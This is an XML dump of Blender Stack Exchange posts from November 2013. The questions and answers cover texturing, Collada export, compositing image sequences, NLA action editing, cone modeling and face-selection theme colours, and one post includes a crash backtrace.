  <row Id="3771" PostTypeId="4" CreationDate="2013-11-09T04:39:22.540" Score="0" Body="Draw modes refer to methods of rendering geometry real time in the viewport. (e.g. Wire, Bounds, Textured, Render, etc.)" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-09T04:39:22.540" LastActivityDate="2013-11-09T04:39:22.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3772" PostTypeId="1" AcceptedAnswerId="3773" CreationDate="2013-11-09T05:31:04.053" Score="7" ViewCount="11215" Body="&lt;p&gt;I saw &lt;a href=&quot;http://www.blendernation.com/2013/07/15/how-to-make-3d-minecraft-animations-with-blender/&quot;&gt;this tutorial on Blender Nation&lt;/a&gt; that deal with creating Minecraft animations in Blender.  After following several links, I finally came up with the file and downloaded it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could edit the images that were used to texture the models.  However, when I wanted to disable anti-aliasing/sampling, I discovered that the textures are not linked to their objects in the usual way (i.e., through the Textures tab in the Properties panel).  In fact, I have not been able to find &lt;em&gt;any&lt;/em&gt; link between the textures and the objects that they adorn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here?  Am I just missing something blindingly obvious?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="599" LastEditDate="2013-11-09T07:31:43.677" LastActivityDate="2013-11-09T07:31:43.677" Title="How is this blendfile hiding textures?" Tags="&lt;texturing&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3773" PostTypeId="2" ParentId="3772" CreationDate="2013-11-09T07:30:25.980" Score="7" Body="&lt;p&gt;The reason for this is that &lt;em&gt;none&lt;/em&gt; were created, the author simply unwrapped the models and changed the view to &lt;em&gt;Textured&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick example using the texture I unpacked from the file. As you can see, the cube doesn't even have a material. This is perfectly legit in Blender but really bad practice as it pertains to asset management etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thhLh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the objects are already unwrapped, to fix it, just create a texture and change &lt;em&gt;Coordinates&lt;/em&gt; under &lt;em&gt;Mapping&lt;/em&gt; to &lt;em&gt;UV&lt;/em&gt;. For a bit more information on correct UV mapping, see &lt;a href=&quot;https://blender.stackexchange.com/questions/1750/blender-uv-mapping-error&quot;&gt;Blender UV mapping error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-11-09T07:30:25.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3774" PostTypeId="2" ParentId="3761" CreationDate="2013-11-09T08:11:33.493" Score="3" Body="&lt;p&gt;It's caused by lack of bleeding in UV set, which will show poor result when sampling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, just leave some room for the border pixel with the same color (that's what bleeding used for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bDlgu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-09T15:55:54.610" LastActivityDate="2013-11-09T15:55:54.610" CommentCount="2" CommunityOwnedDate="2013-11-09T15:55:54.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="3775" PostTypeId="1" AcceptedAnswerId="4793" CreationDate="2013-11-09T11:08:45.143" Score="5" ViewCount="373" Body="&lt;p&gt;I would like to set up a node editor in the way, that the darkest pixel in a grayscale render result is set to black and the offset to the original value is subtracted from all the other pixels. While I am aware of the subtraction node I have difficulties finding the darkest pixel in the render results. &lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2016-10-20T14:28:54.543" Title="Offset Image Brightness" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3776" PostTypeId="1" CreationDate="2013-11-09T13:18:40.120" Score="2" ViewCount="511" Body="&lt;p&gt;I have noticed that Blender crashes under certain circumstances. Every time I try to open a separate 3D Window with either Bone or Empty Sphere added to the scene, it just shuts down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you confirm similar behavior? &#xA;If it is a bug, how do I report it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender version 2.69 (sub 2),&#xA;build date: 2013-11-07.&lt;br&gt;&#xA;I'm using Ubuntu 12.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the console output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;connect failed: No such file or directory  &#xA;Read new prefs: /home/orustam/.config/blender/2.69/config/userpref.blend  &#xA;Writing: /tmp/blender.crash.txt  &#xA;Segmentation fault (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Contents of the &lt;code&gt;blender.crash.txt&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender 2.69 (sub 2), Revision: 61181&#xA;bpy.ops.object.armature_add(view_align=True, enter_editmode=False, location=(0, 0, 1), &#xA;rotation=(0, -0, 0), &#xA;layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))  # Operator&#xA;&#xA;# backtrace&#xA;/usr/lib/blender/blender() [0xbf87d2]&#xA;/lib/x86_64-linux-gnu/libc.so.6(+0x364a0) [0x7f1c9820c4a0]&#xA;/usr/lib/x86_64-linux-gnu/libdricore9.0.3.so.1(vbo_save_playback_vertex_list+0x42) [0x7f1c863c9ee2]&#xA;/usr/lib/x86_64-linux-gnu/libdricore9.0.3.so.1(+0x7e592) [0x7f1c862f4592]&#xA;/usr/lib/x86_64-linux-gnu/libdricore9.0.3.so.1(_mesa_CallList+0x82) [0x7f1c862f8362]&#xA;/usr/lib/blender/blender() [0xcdb942]&#xA;/usr/lib/blender/blender() [0xcdc776]&#xA;/usr/lib/blender/blender() [0xcde730]&#xA;/usr/lib/blender/blender(draw_armature+0x93a) [0xce011a]&#xA;/usr/lib/blender/blender(draw_object+0x3ea6) [0xcd4926]&#xA;/usr/lib/blender/blender(view3d_main_area_draw+0x697) [0xca56f7]&#xA;/usr/lib/blender/blender(ED_region_do_draw+0x85d) [0xe6e1ed]&#xA;/usr/lib/blender/blender(wm_draw_update+0x5bb) [0xbfcc4b]&#xA;/usr/lib/blender/blender(WM_main+0x28) [0xbf9b78]&#xA;/usr/lib/blender/blender(main+0xcbf) [0xbc2c0f]&#xA;/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed) [0x7f1c981f776d]&#xA;/usr/lib/blender/blender() [0xbf72e9]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="864" LastEditorUserId="599" LastEditDate="2013-12-27T20:56:56.300" LastActivityDate="2013-12-27T20:56:56.300" Title="How do I report a bug in Blender?" Tags="&lt;versions&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-11-09T15:18:02.350" CommunityOwnedDate="2013-11-09T16:08:30.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="3778" PostTypeId="1" AcceptedAnswerId="4900" CreationDate="2013-11-09T14:13:42.680" Score="10" ViewCount="11787" Body="&lt;p&gt;I've been having trouble exporting collada objects from blender, so I stripped everything back and textured a single cube, and exported it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a completely trivial model, one cube, with one material assigned to it, the material has a single 'g.png' texture assigned to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exported collada data looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;library_materials&amp;gt;&#xA;    &amp;lt;material id=&quot;Material-material&quot; name=&quot;Material&quot;&amp;gt;&#xA;      &amp;lt;instance_effect url=&quot;#Material-effect&quot;/&amp;gt;&#xA;    &amp;lt;/material&amp;gt;&#xA;  &amp;lt;/library_materials&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;library_effects&amp;gt;&#xA;    &amp;lt;effect id=&quot;Material-effect&quot;&amp;gt;&#xA;      &amp;lt;profile_COMMON&amp;gt;&#xA;        &amp;lt;technique sid=&quot;common&quot;&amp;gt;&#xA;          &amp;lt;phong&amp;gt;&#xA;            &amp;lt;emission&amp;gt;&#xA;              &amp;lt;color sid=&quot;emission&quot;&amp;gt;0.2879998 0.2879998 0.2879998 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/emission&amp;gt;&#xA;            &amp;lt;ambient&amp;gt;&#xA;              &amp;lt;color sid=&quot;ambient&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/ambient&amp;gt;&#xA;            &amp;lt;diffuse&amp;gt;&#xA;              &amp;lt;color sid=&quot;diffuse&quot;&amp;gt;0.2163267 0.1845119 0.2121569 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/diffuse&amp;gt;&#xA;            &amp;lt;specular&amp;gt;&#xA;              &amp;lt;color sid=&quot;specular&quot;&amp;gt;0.5 0.5 0.5 1&amp;lt;/color&amp;gt;&#xA;            &amp;lt;/specular&amp;gt;&#xA;            &amp;lt;shininess&amp;gt;&#xA;              &amp;lt;float sid=&quot;shininess&quot;&amp;gt;50&amp;lt;/float&amp;gt;&#xA;            &amp;lt;/shininess&amp;gt;&#xA;            &amp;lt;index_of_refraction&amp;gt;&#xA;              &amp;lt;float sid=&quot;index_of_refraction&quot;&amp;gt;1&amp;lt;/float&amp;gt;&#xA;            &amp;lt;/index_of_refraction&amp;gt;&#xA;          &amp;lt;/phong&amp;gt;&#xA;        &amp;lt;/technique&amp;gt;&#xA;        &amp;lt;extra&amp;gt;&#xA;          &amp;lt;technique profile=&quot;GOOGLEEARTH&quot;&amp;gt;&#xA;            &amp;lt;double_sided&amp;gt;1&amp;lt;/double_sided&amp;gt;&#xA;          &amp;lt;/technique&amp;gt;&#xA;        &amp;lt;/extra&amp;gt;&#xA;      &amp;lt;/profile_COMMON&amp;gt;&#xA;      &amp;lt;extra&amp;gt;&amp;lt;technique profile=&quot;MAX3D&quot;&amp;gt;&amp;lt;double_sided&amp;gt;1&amp;lt;/double_sided&amp;gt;&amp;lt;/technique&amp;gt;&amp;lt;/extra&amp;gt;&#xA;    &amp;lt;/effect&amp;gt;&#xA;  &amp;lt;/library_effects&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to be missing the texture data associated with the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By comparsion, exporting a wavefront object generates this .mtl file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender MTL File: 'basic.blend'&#xA;# Material Count: 1&#xA;&#xA;newmtl Material&#xA;Ns 96.078431&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.790000 0.790000 0.790000&#xA;Ks 0.500000 0.500000 0.500000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 0&#xA;map_Kd g.png   &amp;lt;----- ie. Blender is aware of this texture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So... is the collada exporter for blender just broken, or does it require some kind of special config in order to function correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the latter, how/what is required to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(NB for what it's worth, the UV coordinates are exported in the .dae, abit they obviously are completely useless without a texture assigned to them; I've also tried adding two different textures to see if the exporter needs that because it naively assumes 'one texture = don't bother, it's one texture for the whole model'. That didn't work either)&lt;/p&gt;&#xA;" OwnerUserId="1406" LastActivityDate="2015-09-08T21:58:25.893" Title="Why does the collada exporter not export texture references?" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3779" PostTypeId="1" AcceptedAnswerId="3782" CreationDate="2013-11-09T15:16:20.510" Score="14" ViewCount="17001" Body="&lt;p&gt;I recently ran a renderfarm on a file with some compositing setup, but I forgot to set the composite output back to the &lt;em&gt;Composite&lt;/em&gt; node instead of the &lt;em&gt;Viewer&lt;/em&gt; I was temporarily using. Since the node setup didn't require anything besides the image data (i.e., no Z-buffer, object IDs, etc.) I figured that I could just run the compositor on each frame individually. However, this proved to be somewhwat difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the sequencer is run &lt;em&gt;after&lt;/em&gt; the compositor (despite their non-exclusivity in the &lt;em&gt;Post Processing&lt;/em&gt; panel), so my idea to use an image strip in the sequencer for all the images that I already rendered didn't work&amp;mdash;the render just copied the images into a new directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Movie Clip&lt;/em&gt; node doesn't seem to accept an image strip as input, either, so that was not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I ended up doing was sequencing the animation to a movie file, then piping that into the &lt;em&gt;Movie Clip&lt;/em&gt; node in the compositor. However, this required extra time, extra storage, and it rendered the default scene every frame before compositing, only to ignore the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use Blender's compositor either directly on an image sequence, or in conjunction with the video sequencer?&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2017-01-18T20:10:51.253" Title="How can I use the compositor on the result of the sequencer?" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3780" PostTypeId="2" ParentId="3761" CreationDate="2013-11-09T15:32:30.043" Score="1" Body="&lt;p&gt;I used the texture , but a few tweaks fixed it. First I enabled Face Textures and Face Textures Alpha in the materials tab under the options sub-tab. I then went to the texture tab and under image sampling I changed the filter size from 1.00 to 0.10. This cleared up most if not all the visible white around the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a4uVJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1560" LastActivityDate="2013-11-09T15:32:30.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3781" PostTypeId="1" CreationDate="2013-11-09T16:43:02.290" Score="4" ViewCount="480" Body="&lt;p&gt;I have a material that contains several procedural textures. I need to duplicate an object that has that texture applied, and then change one of the texture parameters in the duplicated object without changing the original. I need to do this with python but I can't even to it with the  UI. Because setting the Material option under 'Duplicate Data' allowed me to create a new instance of the material properties I thought selecting Textures would do the same, but apparently not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I and what does selecting 'Duplicate Data: Textures' in user preferences actually do? (I'm running 2.69)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File used to generate the screen shots below, below.&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/234662328/Limestone_1.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/234662328/Limestone_1.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/szAgf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="696" LastEditDate="2013-11-12T15:36:21.457" LastActivityDate="2013-12-12T16:21:41.687" Title="Problem Duplicating Textures" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3782" PostTypeId="2" ParentId="3779" CreationDate="2013-11-09T17:44:57.030" Score="9" Body="&lt;p&gt;To use the rendered image sequence as input in the compositor, use the &lt;strong&gt;Image&lt;/strong&gt; node. Select &lt;em&gt;any&lt;/em&gt; file within the image sequence as input. Change the node's type from &lt;em&gt;Single Image&lt;/em&gt; to &lt;em&gt;Image Sequence&lt;/em&gt;, then set the sequence's length and first frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B12Rn.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-09T17:44:57.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4782" PostTypeId="1" AcceptedAnswerId="4784" CreationDate="2013-11-09T19:06:35.550" Score="6" ViewCount="2698" Body="&lt;p&gt;When not happy with the results in an animation the action can be edited again (&lt;kbd&gt;Tab&lt;/kbd&gt; in NLA-editor). After that the action is displayed with a snowflake indicating that it needs to be freezed again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After editing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g8JeU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding the updated action (&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; Add Action Strip)  shown as Walk.001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HJPLe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I really need to replace all occurences of the edited action in the NLA-editor or is there a another way to apply changes (in place) ?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-11-09T19:13:31.620" LastActivityDate="2013-11-09T20:18:13.033" Title="Is there a more efficient way to edit actions alread used in NLA?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4784" PostTypeId="2" ParentId="4782" CreationDate="2013-11-09T20:18:13.033" Score="6" Body="&lt;p&gt;The snowflake button is only displayed for actions &lt;em&gt;not added as an NLA strip&lt;/em&gt;, or &lt;em&gt;newly created ones&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For actions already contained in a strip, it's much easier to select the strip and &lt;kbd&gt;Tab&lt;/kbd&gt; to tweak it. After that, just &lt;kbd&gt;Tab&lt;/kbd&gt; again to exit strip-tweaking mode. There's no need to replace existing strips: the action's change will be reflected immediately in all strips containing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmaYJ.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At worst, you will have to &lt;strong&gt;Sync Action Length&lt;/strong&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; on each strips and rearrange them if their action's duration is changed. Replacing action strips is almost never necessary.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-09T20:18:13.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostTypeId="1" CreationDate="2013-11-09T21:34:32.270" Score="8" ViewCount="5070" Body="&lt;p&gt;So I just started working with Blender 2.6 and the two books I have don't really discuss how to modify objects other than &quot;here's edit mode...&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have is two cylinders with one slightly smaller than the other and protruding out of the larger one.  I need to &quot;fillet&quot; from the larger cylinder to the smaller one.  I decided to create a cone with the same diameter as the larger cylinder which then protrudes through the smaller one giving the illusion that the larger cylinder is reducing to the size of the smaller one.  Of course the problem is that the cone continues through and extends beyond the smaller cylinder.  My thought was to just cut a section off of the cone that lies inside the smaller cylinder.  Unfortunately my two books don't really cover doing anything like that.  So any suggestions would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1572" LastEditorUserId="12" LastEditDate="2013-11-11T02:26:07.627" LastActivityDate="2013-11-15T20:31:04.273" Title="Slice the top of a cone" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostTypeId="2" ParentId="4785" CreationDate="2013-11-09T21:37:36.303" Score="4" Body="&lt;p&gt;it's probably best to do this with normal modeling:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cylinder &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Add &amp;gt; Mesh &amp;gt; Cylinder&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;em&gt;Edit mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the top part of the cylinder with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; or &lt;kbd&gt;B&lt;/kbd&gt;&lt;em&gt;&amp;gt; Box select&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RGaCv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale it down &lt;kbd&gt;S&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VLGuG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYwcU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or, if you want all three sections to be part of one object:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aeize.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;)  upwards:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZYR1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude inwards:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oij3H.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude upwards again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ebbus.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the second edgeloop from the top and move it up on the Z axis (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uyHhn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;However, if you actually want to slice the cone apart, you can use the &lt;em&gt;Bisect&lt;/em&gt; tool or a &lt;em&gt;Boolean modifier&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-09T21:54:36.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostTypeId="2" ParentId="4785" CreationDate="2013-11-09T21:48:12.580" Score="9" Body="&lt;p&gt;Use vertex bevel in edit mode.&lt;/p&gt;&#xA;&lt;p&gt;To do that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click the top vertex to select it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use vertex bevel (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) and use your mouse to adjust the bevel amount:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/94xlp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Tab&lt;/kbd&gt; to exit edit mode.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-10T00:33:30.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4788" PostTypeId="1" CreationDate="2013-11-09T22:36:50.260" Score="1" ViewCount="155" Body="&lt;p&gt;hello im doing a little project I try to analyse sound from a mic. in the bge. I whant to use numpy pyaudio and audioanalyse. the first two are pretty simple. I have some difficulties trieing to install audio analyse. Does someone kniw how to install it and what version of python to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers, tim&lt;/p&gt;&#xA;" OwnerUserId="1573" LastActivityDate="2013-11-10T21:14:23.760" Title="how does one install &quot;audioanalyse0.1.1&quot; module in blender?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4789" PostTypeId="1" AcceptedAnswerId="4790" CreationDate="2013-11-10T01:47:49.660" Score="4" ViewCount="1793" Body="&lt;p&gt;Can I change the color of the last selected face, so that it is the same as the other selected faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, I've selected the left face then the right face. Note the right face is some sort of checkered or dithered pattern, and just the outline has the nice orange 'selected' color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubPdG.png&quot; alt=&quot;selected two faces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I've selected the top face, note the right face has now the nice color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9DA1s.png&quot; alt=&quot;then selected top face&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here I've deselected the top face. Now, both of the remaining selected faces have the nice color. This is the result I'd rather see instead of image 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CV9FQ.png&quot; alt=&quot;desired result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="12" LastEditDate="2013-11-10T03:49:46.087" LastActivityDate="2013-11-10T06:54:36.750" Title="Can I change the color of the last selected face?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4790" PostTypeId="2" ParentId="4789" CreationDate="2013-11-10T01:52:40.513" Score="3" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Themes &gt; 3D view&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OhUKI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Face Selected&lt;/em&gt; color controls the color of the selected face&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Active Vert/Edge/Face&lt;/em&gt; color controls the color of the last selected face.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, I wouldn't recommend making these colors too similar, as there are differences between the selected faces and the last selected face (active) and it might be confusing if you can't tell if a face is active or selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reducing the alpha can help smooth it a little.&lt;br&gt;&#xA;Comparison of default setting and with it set to the same color as selected faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxHES.png&quot; alt=&quot;enter image description here&quot; title=&quot;Default (white)&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/Gpzrz.png&quot; alt=&quot;enter image description here&quot; title=&quot;Set to the same as selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this value also affects active vertices and edges as well as faces.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-10T06:54:36.750" LastActivityDate="2013-11-10T06:54:36.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
